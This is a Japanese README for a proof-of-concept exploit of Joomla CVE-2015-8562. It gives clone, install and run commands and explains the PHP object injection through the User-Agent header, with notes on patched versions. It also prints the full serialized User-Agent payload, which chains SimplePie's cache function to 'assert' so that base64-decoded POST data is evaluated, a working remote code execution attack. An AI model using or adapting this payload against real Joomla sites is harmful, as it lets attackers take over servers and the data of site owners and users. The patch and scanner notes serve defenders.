
JoomlaのCVE-2015-8562脆弱性の概念実証
JoomlaのCVE-2015-8562脆弱性の概念実証
このPoCは、exploit-dbで公開されているGaryのPython実装をほぼそのままコピーしたものです。
インストールは非常に簡単です。
git clone https://github.com/RobinHoutevelts/Joomla-CVE-2015-8562-PHP-POC.git
cd Joomla-CVE-2015-8562-PHP-POC
composer install
composerがすべてをインストールしたら、exploit.php内の$targetを変更する必要があります。
その後、準備完了です。
php exploit.php
2015年12月、Joomlaに脆弱性が発見されました。この脆弱性により、リモート攻撃者はHTTPのUser-Agentヘッダを介してPHPオブジェクトインジェクション攻撃を行い、任意のPHPコードを実行することが可能になります。
この脆弱性はJoomlaのすべてのバージョンに影響を与えました。v1.5.x、v2.5x、v3.x向けのパッチはすでにリリースされています。
PHP >= 5.4.45、>= 5.5.29、または>= 5.6.13を実行している場合は、このエクスプロイトもCVE-2015-6835を利用しているため、問題ありません。
PatrolServerのNikos Verschore氏は非常に詳細なブログ記事を執筆し、この脆弱性の理解に大いに役立ちました。彼らのミニスキャナを無料で使用して、自分のサイトが危険にさらされているかどうかを確認できます。
送信されるUser-Agentヘッダは次のようになります。
jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{
s:4:"\0\0\0a";
O:17:"JSimplepieFactory":0:{}
s:21:"\0\0\0disconnectHandlers";
a:1:{
i:0;
a:2:{
i:0;
O:9:"SimplePie":5:{
s:8:"sanitize";
O:20:"JDatabaseDriverMysql":0:{}
s:5:"cache";
b:1;
s:19:"cache_name_function";
s:6:"assert";
s:10:"javascript";
i:9999;
s:8:"feed_url";
s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";
}
i:1;
s:4:"init";
}
}
s:13:"\0\0\0connection";
i:1;
}